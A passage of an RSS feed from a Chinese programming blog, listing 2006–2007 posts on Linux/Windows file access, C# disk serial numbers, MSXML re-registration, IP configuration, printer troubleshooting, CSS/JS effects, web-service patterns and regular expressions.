      <guid>https://bchobby.github.io/posts/29541e462c602b37e4ee44b6d39106cc/</guid>
      <description> [转帖]Linux与Windows相互访问 如今，大概没有人会低估Linux的发展前途，但是至少现在，我们仍然不能对Windows说不。因此，许多电脑爱好者只好将一部分硬盘空间让出来安装Linux。那么，能不能实现在Linux与Windows之间相互访问呢？ 要想在Windows下访问Linux，需要工具软件的帮助；而在Linux下访问Windows，根据不同的分区格式，有不同的方法。 在Windows下访问Linux Windows本身并没有提供直接访问Linux的程序，因此我们需要借助第三方的软件才能访问Linux的Ext分区中的内容，虽然网上有许多这类软件，但大多数只能读取Linux下的内容，而无法对Linux进行写操作。不过，有了Explore2fs软件，一切就变得容易多了，通过这个软件，我们不但可以读取、复制Linux中的内容，而且还可以直接对Linux进行写操作，如删除、加入文件等等。 1. 首先，到“http://www.gxgl.com/soft/explore2fs.rar”上下载Explore2fs，它的最新版本是1.00 pre6，大小只有357KB，可以稳定运行在Win95/98/NT/2000/Me/XP系统中，它是一款免费软件，所以您尽可放心使用。 Explore2fs还是一款绿色软件，不需要安装，直接解压到一个目录下，然后运行explore2fs.exe文件就可以了，这时就能看到一个类似于资源管理器的界面，窗口的左边是Linux的目录树型结构，右边就是所选目录下的内容，可单击左边目录前的“+”、“-”号来展开和折叠子目录。在窗口的右边，Linux分区的文件以小企鹅图标显示，您可以通过右键菜单或菜单栏上相应的命令对这些文件进行操作。 需要说明的是，Linux有文件保护机制，如果您权限不够，系统会拒绝您对文件进行读写。 2. Explore2fs支持文件的拖放，因此将Linux分区下的文件拷贝到Windows下是一件轻而易举的事。选中需要复制的文件，点击鼠标右键，选中“Export file”选项将文件保存到Windows的目录中即可，而在弹出的菜单中选择“View”，即可调用默认的关联程序打开该文件。您还可以通过选择“View|Options|General|viewer program”来设定相应的关联程序。 不过，以上操作也仅限于读操作，而不能写，也就说是不能改动Linux中的内容，因为这时您所看到的右键菜单中，下面几项可写的内容都是灰色的，也就是不可选的。我们可用下面的方法让它可选。在“View”菜单中选择“Options”，然后在弹出的窗口中选择“Debug”标签，选中“Enable write support”选项，再点击“OK”按钮退出。然后在“File”菜单中选择“Rescan Partition”，这时会弹出“Confirm”窗口，点击“Yes”按钮即可，现在的右键菜单选项就全部可选了。 3. 在笔者使用的过程中，无论是向Linux传送文件还是将Linux中的文件导入到Windows中，都没有出现异常情况，但还是建议您不要传送过大的文件，并且不要随意改动系统目录下的内容，最好的方法是在Linux下建立一个新的目录，然后将要传送的文件全部保存在该目录下。除了可以用拖动的方法向Linux传送文件外，还可以通过鼠标右键中的“Import file”来向Linux传送文件。 Explore2fs除了传送文件外，还支持更改文件的使用权限。具体方法很简单，选中该文件，点击鼠标右键，在弹出的菜单中选择“Properties”，然后在“Attributes”标签中修改相应的内容即可。当然您也可以通过右键菜单中的“Delete”选项来删除相应的文件，不过，一定要注意不要把系统文件删除了。另外，在右键菜单中还有一个“Create”（创建）的目录，它下面有三个选项：Block Device、Character Device和Symbolic Link，前两个Linux系统已内置好了，不需要修改，Symbolic Link则相当于Windows下的快捷方式。 在Linux下访问Windows Linux内核支持读写Fat、NTFS、Vfat、Fat32、Hfs等文件系统（至少可以读），因此在Linux下访问Windows的内容相对来说要简单得多，甚至不用下载软件就可以达到目的。 fat/fat32分区的情形 红旗Linux3.2、Mandrake Linux8.2等版本的Linux在安装完成后已经自动加载fat分区了，图2所示的就是红旗Linux安装完成后自动加载的Windows分区，和我们在Windows下看到的完全一样，因此特别适于初学者使用。而redhat7.3则没有自动加载fat分区，因此还需要进行手工操作，不过这些操作同样适用于红旗Linux、Mandrake Linux。 1. 利用mount命令挂装文件系统访问Windows。 mount是Linux下的一个命令，它可以将Windows分区作为Linux的一个“文件”挂接到Linux的一个空文件夹下，从而将Windows的分区和/mnt这个目录联系起来，因此我们只要访问这个文件夹，就相当于访问该分区了。 Mount的使用格式是（必须以root身份登录）：mount［-afFhnrvVm］［-l&amp;lt;标签&amp;gt;］［-o&amp;lt;选项&amp;gt;］［-t&amp;lt;文件系统&amp;gt;］［设备名称］［挂入点］，比如我们要将Windows的D区挂接到Linux的/mnt/wind这个目录下，首先要在/mnt下建立wind文件夹，然后切换到Console终端模式，在命令提示符下输入“mount /dev/hda5 /mnt/wind”，即表示将Windows的D分区挂到Liunx的/mnt/wind目录下，这时在/mnt/wind目录下，就可以看到Windows中D盘的内容了。 在命令行提示符下还可以通过输入“more”、“cp”及“rm”等命令来查看 </description>
    </item>
    <item>
      <title>C# 获取硬盘序列号 Volume Serial Number</title>
      <link>https://bchobby.github.io/posts/31c9c82685a24301713572a4835e51ea/</link>
      <pubDate>Sun, 24 Jun 2007 00:03:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31c9c82685a24301713572a4835e51ea/</guid>
      <description>在做软件注册时，通常用硬盘号（建议用散列后的硬盘号）作为本地电脑特征码，加上用户名以及公司名等其他信息，通过一定的算法，得到软件序列号。这样做的好处的显而易见的。它可以防止一个序列号N多人用的现象。现在有些软件就是一个注册码，在网上公开，全世界人都在用。但是也有相应的缺陷。客户只能在一台电脑上用你写的软件。下面的方法通过Windows API获得硬盘号。 using System.Runtime.InteropServices;&#xA;[DllImport( &#34; kernel32.dll &#34; )]&#xA;private static extern int GetVolumeInformation( string lpRootPathName, string lpVolumeNameBuffer, int nVolumeNameSize, ref int lpVolumeSerialNumber, int lpMaximumComponentLength, int lpFileSystemFlags, string lpFileSystemNameBuffer, int nFileSystemNameSize ); private string GetVolOf( string drvID) ... { const int MAX_FILENAME_LEN = 256; int retVal = 0; int a =0; int b =0; string str1 = null; string str2 = null; int i = GetVolumeInformation( drvID + @&#34;:&#34;, str1, MAX_FILENAME_LEN, ref retVal, a, b, str2, MAX_FILENAME_LEN ); return retVal.</description>
    </item>
    <item>
      <title>ssh命令-manpage</title>
      <link>https://bchobby.github.io/posts/0da40b10c58691d65ec2c605de062345/</link>
      <pubDate>Thu, 12 Apr 2007 12:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0da40b10c58691d65ec2c605de062345/</guid>
      <description>SSH Section: User Commands (1) Index Return to Main Contents BSD mandoc NAME ssh - OpenSSH SSH 客户端 (远程登录程序) 总览 (SYNOPSIS) ssh [- l login_name ] hostname | user@hostname [ command ] ssh -words [-afgknqstvxACNTX1246 ] [-b bind_address ] [-c cipher_spec ] [-e escape_char ] [-i identity_file ] [-l login_name ] [-m mac_spec ] [-o option ] [-p port ] [-F configfile ] [-L port host hostport ] -words [-R port host hostport ] [-D port ] hostname | user@hostname [command ] 描述 (DESCRIPTION) (SSH 客户端) 用于登录远程主机, 并且在远程主机上执行命令.</description>
    </item>
    <item>
      <title>解决IE无法解析XML文件错误</title>
      <link>https://bchobby.github.io/posts/5c732a44df96595a63f22d43e383a83e/</link>
      <pubDate>Mon, 26 Mar 2007 12:40:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c732a44df96595a63f22d43e383a83e/</guid>
      <description>因为装过其它浏览器或其它原因，使得IE打开XML文件时出现一闪而过，或是打开却出现保存文件对话框，这些原因大多数是因为IE的XML解析器出现了问题，只有卸载后重新注册即可。 方法：&#xA;注：卸载时，请根据自己的浏览器安装的解析器版本确定，不一定全部都会有以下版本&#xA;1、删除：&#xA;打开运行窗口--&amp;gt;输入--&amp;gt;&#xA;regsvr32 -u msxml3.dll&#xA;regsvr32 -u msxml4.dll&#xA;regsvr32 -u msxml6.dll&#xA;2、重新注册&#xA;打开运行窗口--&amp;gt;输入--&amp;gt;&#xA;regsvr32 msxml3.dll&#xA;regsvr32 msxml4.dll&#xA;regsvr32 msxml6.dll</description>
    </item>
    <item>
      <title>不重启Windows直接更改IP地址</title>
      <link>https://bchobby.github.io/posts/aea108b0b1eeac92109f4206b13298e6/</link>
      <pubDate>Thu, 07 Dec 2006 08:35:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aea108b0b1eeac92109f4206b13298e6/</guid>
      <description>不重起Windows直接更改IP地址 作者：浙江省温岭电信局 王骏 设置IP地址只需要更改注册表中关于适配器的相应设置，但更改后需要重新启动系统才能生效，而AddIPAddress函数只能添加IP而不是更改当前的IP，我们在Windows NT/2000界面上操作不需要重新启动就可以生效，那系统到底做了什么额外的工作才使IP设置直接生效呢？笔者通过跟踪explorer.exe中API的调用发现在netcfgx.dll中调用了dhcpcsvc.dll中一个未公开的API:DhcpNotifyConfigChange，现将不重新启动WINDOWS直接更改IP地址的详细方法介绍如下： 一、获取适配器名称 这里指的适配器名称要区别于适配器描述，比如我的一块网卡，适配器描述是：Realtek RTL8139(A) PCI Fast Ethernet Adapter，适配器名称为：{66156DC3-44A4-434C-B8A9-0E5DB4B3EEAD}。获取适配器名称的方法有多种： 1.1 调用IP helper API取得适配器名称 ULONG ulAdapterInfoSize = sizeof(IP_ADAPTER_INFO); IP_ADAPTER_INFO *pAdapterInfoBkp, *pAdapterInfo = (IP_ADAPTER_INFO*)new char[ulAdapterInfoSize]; if( GetAdaptersInfo(pAdapterInfo, &amp;amp;ulAdapterInfoSize) == ERROR_BUFFER_OVERFLOW ) // 缓冲区不够大 { delete pAdapterInfo; pAdapterInfo = (IP_ADAPTER_INFO*)new char[ulAdapterInfoSize]; pAdapterInfoBkp = pAdapterInfo; } if( GetAdaptersInfo(pAdapterInfo, &amp;amp;ulAdapterInfoSize) == ERROR_SUCCESS ) { do{ // 遍历所有适配器 if(pAdapterInfo-&amp;gt;Type == MIB_IF_TYPE_ETHERNET) // 判断是否为以太网接口 { // pAdapterInfo-&amp;gt;Description 是适配器描述 // pAdapterInfo-&amp;gt;AdapterName 是适配器名称 } pAdapterInfo = pAdapterInfo-&amp;gt;Next; }while(pAdapterInfo); } delete pAdapterInfoBkp; 1.</description>
    </item>
    <item>
      <title>设计数字滤波器</title>
      <link>https://bchobby.github.io/posts/7d74278b17146a0dcc2d0a7b99bec848/</link>
      <pubDate>Mon, 30 Oct 2006 15:55:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d74278b17146a0dcc2d0a7b99bec848/</guid>
      <description>在数字信号处理中有两种重要的系统类型。&#xA;第一种类型在时域进行信号滤波因此称为数字滤波器。第二种系统类型在频域表达信号因此称为谱分析器。&#xA;设计数字滤波器要执行一下三个步骤：&#xA;指标：在设计滤波器之前，必须进行必要的指标说明，这是由应用来决定的。&#xA;近似：一旦决定了指标，就要用目前为止所学过的各种概念和数学方法来提出滤波器的描述，这可以近似表达出所 给定的指标。这一步是滤波器设计的核心步骤。&#xA;完成：上一步的结果就是差分方程或者系统函数或者冲激响应形式的滤波器描述。根据这一描述可以在硬件或者计算机上的软件上完成滤波器的设计。&#xA;在很多应用中，比如说语音信号处理中，数字滤波器用于完成频率选择功能。因此，就需要在频域中以所期望的滤波器的幅度和相位响应表达指标。一般来说需要在通频带中得到线性相位响应。在FIR 滤波器的情况中，可以获得&#xA;很好的线性相位。在IIR 滤波器中得不到通频带中的线性相位。&#xA;一般来说，会对线性相位频率选择FIR 滤波器比较感兴趣。线性相位响应的优点是：设计问题仅涉及到实数问题而不牵涉复数问题。线性相位滤波器没有时延失真且仅延迟一个固定量。</description>
    </item>
    <item>
      <title>.Net传值方式主要有以下几种</title>
      <link>https://bchobby.github.io/posts/bdae68a38e9508420780beb7f1aecce4/</link>
      <pubDate>Thu, 26 Oct 2006 09:43:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bdae68a38e9508420780beb7f1aecce4/</guid>
      <description>1，url传值，如：&#xA;CheckPwd.aspx?user=uservalue&amp;amp;pwd=pwdvalue&#xA;2，Session传值&#xA;如：Session(&#34;role&#34;)=&#34;Administrator&#34;&#xA;3，Viewstate(&#34;role&#34;)=&#34;Administrator&#34; ，用法和Session大致相同&#xA;4，Context传值&#xA;如：页面1.aspx有一个TextBox1.Text,一个Button1,一个function test()&#xA;Context.Items.Add(&#34;value&#34;,TextBox1.Text)&#xA;Server.Transfer(&#34;2.aspx&#34;,True) &#39;如果为FALSE，2.aspx将取不到1.aspx中的值&#xA;在页面2.aspx中，提取需要的值&#xA;Dim str as string=Context.Items(&#34;value&#34;).tostring&#xA;或 str=Request.From(&#34;TextBox1&#34;)&#xA;但是:str=Request.QeuryString(&#34;TextBox1&#34;)取不到值,想一想为什么???&#xA;还可以调用1.aspx的属性和方法：&#xA;Dim 11 as i=Ctype(Context.Handle,1)&#xA;11.test()</description>
    </item>
    <item>
      <title>打印机十大共性故障解决方案(转东转西)</title>
      <link>https://bchobby.github.io/posts/2ef141cfbd83926f24299368dfa997a3/</link>
      <pubDate>Sat, 07 Oct 2006 11:35:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ef141cfbd83926f24299368dfa997a3/</guid>
      <description> 打印机十大共性故障解决方案&#xA;打印机已是我们现代办公必备的设备，可以说它的使用大大减轻了我们的劳动强度，提高了工作效率，使办公环境更加轻松。可是由于各种原因，打印机在使用一段时间后经常出现这样或那样的故障，下面就将打印机经常出现的十个故障的检修方法与技巧介绍给大家，希望能够对大家使用和维修打印机有所帮助。&#xA;一、打印机输出空白纸&#xA;对于针式打印机，引起打印纸空白的原因大多是由于色带油墨干涸、色带拉断、打印头损坏等，应及时更换色带或维修打印头；对于喷墨打印机，引起打印空白的故障大多是由于喷嘴堵塞、墨盒没有墨水等，应清洗喷头或更换墨盒；而对于激光打印机，引起该类故障的原因可能是显影辊未吸到墨粉(显影辊的直流偏压未加上)，也可能是感光鼓未接地，使负电荷无法向地释放，激光束不能在感光鼓上起作用。&#xA;另外，激光打印机的感光鼓不旋转，则不会有影像生成并传到纸上。断开打印机电源，取出墨粉盒，打开盒盖上的槽口，在感光鼓的非感光部位做个记号后重新装入机内。开机运行一会儿，再取出检查记号是否移动了，即可判断感光鼓是否工作正常。如果墨粉不能正常供给或激光束被挡住，也会出现打印空白纸的现象。因此，应检查墨粉是否用完、墨盒是否正确装入机内、密封胶带是否已被取掉或激光照射通道上是否有遮挡物。需要注意的是，检查时一定要将电源关闭，因为激光束可能会损坏操作者的眼睛。 二、打印纸输出变黑&#xA;对于针式打印机，引起该故障的原因是色带脱毛、色带上油墨过多、打印头脏污、色带质量差和推杆位置调得太近等，检修时应首先调节推杆位置，如故障不能排除，再更换色带，清洗打印头，一般即可排除故障；对于喷墨打印机，应重点检查喷头是否损坏、墨水管是否破裂、墨水的型号是否正常等；对于激光打印机，则大多是由于电晕放电丝失效或控制电路出现故障，使得激光一直发射，造成打印输出内容全黑。因此，应检查电晕放电丝是否已断开或电晕高压是否存在、激光束通路中的光束探测器是否工作正常。&#xA;三、打印字符不全或字符不清晰&#xA;对于喷墨打印机，可能有两方面原因，墨盒墨尽、打印机长时间不用或受日光直射而导致喷嘴堵塞。解决方法是可以换新墨盒或注墨水，如果墨盒未用完，可以断定是喷嘴堵塞：取下墨盒（对于墨盒喷嘴不是一体的打印机，需要取下喷嘴），把喷嘴放在温水中浸泡一会儿，注意一定不要把电路板部分浸在水中，否则后果不堪设想。&#xA;对于针式打印机，可能有以下几方面原因：打印色带使用时间过长；打印头长时间没有清洗，脏物太多；打印头有断针；打印头驱动电路有故障。解决方法是先调节一下打印头与打印辊间的间距，故障不能排除，可以换新色带，如果还不行，就需要清洗打印头了。方法是：卸掉打印头上的两个固定螺钉，拿下打印头，用针或小钩清除打印头前、后夹杂的脏污，一般都是长时间积累的色带纤维等，再在打印头的后部看得见针的地方滴几滴仪表油，以清除一些脏污，不装色带空打几张纸，再装上色带，这样问题基本就可以解决，如果是打印头断针或是驱动电路问题，就只能更换打印针或驱动管了。 四、打印字迹偏淡&#xA;对于针式打印机，引起该类故障的原因大多是色带油墨干涸、打印头断针、推杆位置调得过远，可以用更换色带和调节推杆的方法来解决；对于喷墨打印机，喷嘴堵塞、墨水过干、墨水型号不正确、输墨管内进空气、打印机工作温度过高都会引起本故障，应对喷头、墨水盒等进行检测维修；对于激光打印机，当墨粉盒内的墨粉较少，显影辊的显影电压偏低和墨粉感光效果差时，也会造成打印字迹偏淡现象。此时，取出墨粉盒轻轻摇动，如果打印效果无改善，则应更换墨粉盒或调节打印机墨粉盒下方的一组感光开关，使之与墨粉的感光灵敏度匹配。//本文来自电脑软硬件应用网 www.45it.com 转载请注明 五、打印时字迹一边清晰而另一边不清晰&#xA;此现象一般出现在针式打印机上，喷墨打印机也可能出现，不过概率较小，主要是打印头导轨与打印辊不平行，导致两者距离有远有近所致。解决方法是可以调节打印头导轨与打印辊的间距，使其平行。具体做法是：分别拧松打印头导轨两边的调节片，逆时针转动调节片减小间隙，最后把打印头导轨与打印辊调节到平行就可解决问题。不过要注意调节时调对方向，可以逐渐调节，多打印几次。 六、打印纸上重复出现污迹&#xA;针式打印机重复出现脏污的故障大多是由于色带脱毛或油墨过多引起的，更换色带盒即可排除；喷墨打印机重复出现脏污是由于墨水盒或输墨管漏墨所致；当喷嘴性能不良时，喷出的墨水与剩余墨水不能很好断开而处于平衡状态，也会出现漏墨现象；而激光打印机出现此类现象有一定的规律性，由于一张纸通过打印机时，机内的12种轧辊转过不止一圈，最大的感光鼓转过2~3圈，送纸辊可能转过10圈，当纸上出现间隔相等的污迹时，可能是由脏污或损坏的轧辊引起的。&#xA;七、打印头移动受阻，停下长鸣或在原处震动&#xA;这主要是由于打印头导轨长时间滑动会变得干涩，打印头移动时就会受阻，到一定程度就会使打印停止，如不及时处理，严重时可以烧坏驱动电路。解决方法是在打印导轨上涂几滴仪表油，来回移动打印头，使其均匀分布。重新开机后，如果还有受阻现象，则有可能是驱动电路烧坏，需要拿到维修部了。&#xA;八、打印机不打印&#xA;引起打印机不打印的故障原因有很多种，有打印机方面的，也有计算机方面的。以下分别进行介绍：&#xA;1. 检查打印机是否处于联机状态。在大多数打印机上“OnLine”按钮旁边都有一个指示联机状态的灯，正常情况下该联机灯应处于常亮状态。如果该指示灯不亮或处于闪烁状态，则说明联机不正常，重点检查打印机电源是否接通、打印机电源开关是否打开、打印机电缆是否正确连接等。如果联机指示灯正常，关掉打印机，然后再打开，看打印测试页是否正常。&#xA;2. 检查打印机是否已设置为默认打印机。点击“开始/设置/打印机”，检查当前使用的打印机图标上是否有一黑色的小钩，然后将打印机设置为默认打印机。如果“打印机”窗口中没有使用的打印机，则点击“添加打印机”图标，然后根据提示进行安装。&#xA;3. 检查当前打印机是否已设置为暂停打印。方法是在“打印机”窗口中用右键单击打印机图标，在出现的下拉菜单中检查“暂停打印”选项上是否有一小钩，如果选中了“暂停打印”请取消该选项。&#xA;4. 在“记事本”中随便键入一些文字，然后单击“文件”菜单上的“打印”。如果能够打印测试文档，则说明使用的打印程序有问题，重点检查WPS、CCED、Word或其他应用程序是否选择了正确的打印机，如果是应用程序生成的打印文件，请检查应用程序生成的打印输出是否正确。&#xA;5. 检查计算机的硬盘剩余空间是否过小。如果硬盘的可用空间低于10MB则无法打印，检查方法是在“我的电脑”中用右键单击安装Windows的硬盘图标，选择“属性”，在“常规”选项卡中检查硬盘空间，如果硬盘剩余空间低于10MB，则必须清空“回收站”，删除硬盘上的临时文件、过期或不再使用的文件，以释放更多的空间。&#xA;6. 检查打印机驱动程序是否合适以及打印配置是否正确。在“打印机属性”窗口中“详细资料”选项中检查以下内容：在“打印到以下端口”选择框中，检查打印机端口设置是否正确，最常用的端口为“LPT1(打印机端口)”，但是有些打印机却要求使用其他端口；如果不能打印大型文件，则应重点检查“超时设置”栏目的各项“超时设置”值，此选项仅对直接与计算机相连的打印机有效，使用网络打印机时则无效。&#xA;7. 检查计算机的BIOS设置中打印机端口是否打开。BIOS中打印机使用端口应设置为“Enable”，有些打印机不支持ECP类型的打印端口信号，应将打印端口设置为“Normal、 ECP+EPP”方式。&#xA;8. 检查计算机中是否存在病毒，若有需要用杀毒软件进行杀毒。&#xA;9. 检查打印机驱动程序是否已损坏。可用右键单击打印机图标，选择“删除”，然后双击“添加打印机”，重新安装打印机驱动程序。&#xA;10. 打印机进纸盒无纸或卡纸，打印机墨粉盒、色带或碳粉盒是否有效，如无效，则不能打印。&#xA;九、打印机卡纸或不能走纸&#xA;打印机最常见的故障是卡纸。出现这种故障时，操作面板上指示灯会发亮，并向主机发出一个报警信号。出现这种故障的原因有很多，例如纸张输出路径内有杂物、输纸辊等部件转动失灵、纸盒不进纸、传感器故障等，排除这种故障的方法十分简单，只需打开机盖，取下被卡的纸即可，但要注意，必须按进纸方向取纸，绝不可反方向转动任何旋钮。&#xA;如果经常卡纸，就要检查进纸通道，清除输出路径的杂物，纸的前部边缘要刚好在金属板的上面。检查出纸辊是否磨损或弹簧松脱，压力不够，即不能将纸送入机器。出纸辊磨损，一时无法更换时，可用缠绕橡皮筋的办法进行应急处理。缠绕橡皮筋后，增大了搓纸摩擦力，能使进纸恢复正常。此外，装纸盘安装不正常，纸张质量不好(过薄、过厚、受潮)，也会造成卡纸或不能取纸的故障。&#xA;十、打印出现乱字符&#xA;无论是针式打印机、喷墨打印机还是激光打印机出现打印乱码现象，大多是由于打印接口电路损坏或主控单片机损坏所致，而实际检修中发现，打印机接口电路损坏的故障较为常见，由于接口电路采用微电源供电，一旦接口带电拔插产生瞬间高压静电，就很容易击穿接口芯片，一般只要更换接口芯片，该类故障即可排除。另外，字库还没有正确载入打印机也会出现这种现象。 </description>
    </item>
    <item>
      <title>CSS&#43;JS实现网页(图片)特效</title>
      <link>https://bchobby.github.io/posts/853275e6dc30934d011f2bd6473c487e/</link>
      <pubDate>Tue, 26 Sep 2006 10:01:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/853275e6dc30934d011f2bd6473c487e/</guid>
      <description>1.图片半透明效果&#xA;实现图片默认显示是半透明的效果，鼠标移上去时透明度变为100%。&#xA;①用CSS＋JS实现&#xA;用CSS定义一类： #spotlight { FILTER: light } 并加入如下JS代码：&#xA;&amp;lt;SCRIPT language=JavaScript1.2&amp;gt;&#xA;function high(which2){&#xA;theobject=which2&#xA;highlighting=setInterval(&#34;highlightit(theobject)&#34;,50)&#xA;}&#xA;function low(which2){&#xA;clearInterval(highlighting)&#xA;which2.filters.alpha.opacity=40&#xA;} function highlightit(cur2){&#xA;if (cur2.filters.alpha.opacity&amp;lt;100)&#xA;cur2.filters.alpha.opacity+=5&#xA;else if (window.highlighting)&#xA;clearInterval(highlighting)&#xA;}&#xA;&amp;lt;/SCRIPT&amp;gt;&#xA;调用效果语句：&#xA;&amp;lt;a href=&#34;http://www.thinkjam.org&#34;&amp;gt;&amp;lt;img border=0 name=Image1 onMouseOut=low(this) onMouseOver=high(this)&#xA;src=&#34;http://www.thinkjam.org/images/newjam/logo.jpg&#34; style=&#34;FILTER: alpha(opacity=50)&#34; width=18 height=&#34;18&#34;&amp;gt;&amp;lt;/a&amp;gt;&#xA;②将代码和样式直接写入调用语句中&#xA;&amp;lt;img alt=&#34;半透明图片&#34; src=&#34;http://www.thinkjam.org/images/newjam/logo.jpg&#34; style=&#34;-moz-opacity:0.5; filter:alpha(opacity=50);cursor:hand;&#34; οnmοuseοver=&#34;this.style.MozOpacity=1;&#xA;this.filters.alpha.opacity=100&#34; οnmοuseοut=&#34;this.style.MozOpacity=0.5;&#xA;this.filters.alpha.opacity=50&#34;&amp;gt;&#xA;这种方法比较简单。只是在IE中需要通过&#34;filter&#34;来定义透明度&#34;opacity&#34;，而在Mozilla中是可以直接解析&#34;opacity&#34;,所以如果要使得这个效果在两种浏览器中都得到支持，需要把两种设定都加进去。&#xA;针对IE的设定：this.filters.alpha.opacity=50　针对Mozilla的设定：this.style.MozOpacity=0.5&#xA;2.图片背景产生阴影效果&#xA;可以直接截取阴影部分的条状渐变的图片作为背景，也可以为图片加上filter属性。样例代码如下：&#xA;&amp;lt;img src=&#34;http://www.thinkjam.org/images/newjam/logo.jpg style=&#34;filter : progid:DXImageTransform.Microsoft.Shadow ( enabled=t , color=#ff0000 , direction=135 , strength=10 )&#34;</description>
    </item>
    <item>
      <title>使用开放源代码框架的 Java 应用程序的 Web 服务集成模式，第 2 部分: 实现接收模式</title>
      <link>https://bchobby.github.io/posts/baff969b34bd51307456260de50b3fc0/</link>
      <pubDate>Wed, 30 Aug 2006 16:11:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/baff969b34bd51307456260de50b3fc0/</guid>
      <description>级别: 中级&#xA;Sukriti Goel (sukriti_goel@infosys.com), 技术架构师, Infosys Technologies Limited&#xA;Parameswaran Seshan (parameswaran_seshan@infosys.com), 技术架构师, Infosys Technologies Limited&#xA;2006 年 8 月 28 日&#xA;本系列讨论 Web 服务集成模式，包含两个部分，本文为第 2 部分，将讨论如何将要求-响应和通知 Web 服务客户端端点模式与应用程序集成。在要求-响应和通知模式中，应用程序充当 Web 服务，将部署到 Web 服务器上，允许外部参与者将应用程序作为 Web 服务调用。本文中的步骤采用 Document 样式的 Web 服务调用。 引言&#xA;在第 1 部分中，我们讨论了如何将请求-响应和单向模式应用于 Web 服务端点。在这第 2 部分中，您将了解到如何将其他两种模式（要求-响应和通知）应用于 Web 服务客户端（调用端）端点。让我们考虑这样一个应用程序集成场景示例：假定有一个应用程序，比如旅行预订应用程序 (&#34;App1&#34;)，该应用程序包括各种组件。作为我们讨论的参照点，该应用程序接受来自客户的输入，例如旅行的出发地、目的地和信用卡信息。然后，该应用程序通过与其他应用程序（如信用验证系统 (&#34;App2&#34;)）集成进行订票。此外，需要一个付款应用程序 (&#34;App3&#34;)。App2 公开一个 Web 服务来验证信用卡，而 App3 通过从信用卡中扣除相应金额来处理付款。App1 公开两个 Web 服务；一个 Web 服务从 App3 接收消息（用于处理付款的确认请求）作为输入，接着发送确认（“继续”）消息，另一个 Web 服务从 App3 接收“付款已完成通知”消息。&#xA;在要求-响应模式中，端点是一个客户端，它将消息发送到预期返回响应的服务端点，并接收从该服务端点返回的相关消息。在我们的示例中，当 App3 准备好处理付款请求并且 App1 返回确认（“继续付款”）消息时，App3 调用 App1 公开的“付款请求确认”Web 服务。对于此处讨论的应用程序 App3，这是要求-响应操作。</description>
    </item>
    <item>
      <title>使用开放源代码框架的 Java 应用程序的 Web 服务集成模式，第 1 部分: 实现调用模式</title>
      <link>https://bchobby.github.io/posts/827c035b64881c97e75d777dcdcd941b/</link>
      <pubDate>Wed, 30 Aug 2006 16:05:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/827c035b64881c97e75d777dcdcd941b/</guid>
      <description>级别: 中级&#xA;Sukriti Goel (sukriti_goel@infosys.com), 技术架构师, Infosys Technologies Limited&#xA;Parameswaran Seshan (parameswaran_seshan@infosys.com), 技术架构师, Infosys Technologies Limited&#xA;2006 年 8 月 28 日&#xA;本系列讨论 Web 服务集成模式，包含两个部分，本文为第 2 部分，将讨论如何将要求-响应和通知 Web 服务客户端端点模式与应用程序集成。在要求-响应和通知模式中，应用程序充当 Web 服务，将部署到 Web 服务器上，允许外部参与者将应用程序作为 Web 服务调用。本文中的步骤采用 Document 样式的 Web 服务调用。 引言&#xA;在第 1 部分中，我们讨论了如何将请求-响应和单向模式应用于 Web 服务端点。在这第 2 部分中，您将了解到如何将其他两种模式（要求-响应和通知）应用于 Web 服务客户端（调用端）端点。让我们考虑这样一个应用程序集成场景示例：假定有一个应用程序，比如旅行预订应用程序 (&#34;App1&#34;)，该应用程序包括各种组件。作为我们讨论的参照点，该应用程序接受来自客户的输入，例如旅行的出发地、目的地和信用卡信息。然后，该应用程序通过与其他应用程序（如信用验证系统 (&#34;App2&#34;)）集成进行订票。此外，需要一个付款应用程序 (&#34;App3&#34;)。App2 公开一个 Web 服务来验证信用卡，而 App3 通过从信用卡中扣除相应金额来处理付款。App1 公开两个 Web 服务；一个 Web 服务从 App3 接收消息（用于处理付款的确认请求）作为输入，接着发送确认（“继续”）消息，另一个 Web 服务从 App3 接收“付款已完成通知”消息。&#xA;在要求-响应模式中，端点是一个客户端，它将消息发送到预期返回响应的服务端点，并接收从该服务端点返回的相关消息。在我们的示例中，当 App3 准备好处理付款请求并且 App1 返回确认（“继续付款”）消息时，App3 调用 App1 公开的“付款请求确认”Web 服务。对于此处讨论的应用程序 App3，这是要求-响应操作。</description>
    </item>
    <item>
      <title>常用正则表达式</title>
      <link>https://bchobby.github.io/posts/4aa57ab65bb5a622d583ebd7f544585d/</link>
      <pubDate>Wed, 23 Aug 2006 11:06:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4aa57ab65bb5a622d583ebd7f544585d/</guid>
      <description>常用正则表达式 &#34; ^/d+$ &#34; // 非负整数（正整数 + 0） &#34; ^[0-9]*[1-9][0-9]*$ &#34; // 正整数 &#34; ^((-/d+)|(0+))$ &#34; // 非正整数（负整数 + 0） &#34; ^-[0-9]*[1-9][0-9]*$ &#34; // 负整数 &#34; ^-?/d+$ &#34; // 整数 &#34; ^/d+(/./d+)?$ &#34; // 非负浮点数（正浮点数 + 0） &#34; ^(([0-9]+/.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*/.[0-9]+)|([0-9]*[1-9][0-9]*))$ &#34; // 正浮点数 &#34; ^((-/d+(/./d+)?)|(0+(/.0+)?))$ &#34; // 非正浮点数（负浮点数 + 0） &#34; ^(-(([0-9]+/.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*/.[0-9]+)|([0-9]*[1-9][0-9]*)))$ &#34; // 负浮点数 &#34; ^(-?/d+)(/./d+)?$ &#34; // 浮点数 &#34; ^[A-Za-z]+$ &#34; // 由26个英文字母组成的字符串 &#34; ^[A-Z]+$ &#34; // 由26个英文字母的大写组成的字符串 &#34;</description>
    </item>
    <item>
      <title>[原创]一个AIX FTP文件名显示错误带时间的问题</title>
      <link>https://bchobby.github.io/posts/1e50e400e49310fc7926556c9462865b/</link>
      <pubDate>Tue, 08 Aug 2006 08:28:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e50e400e49310fc7926556c9462865b/</guid>
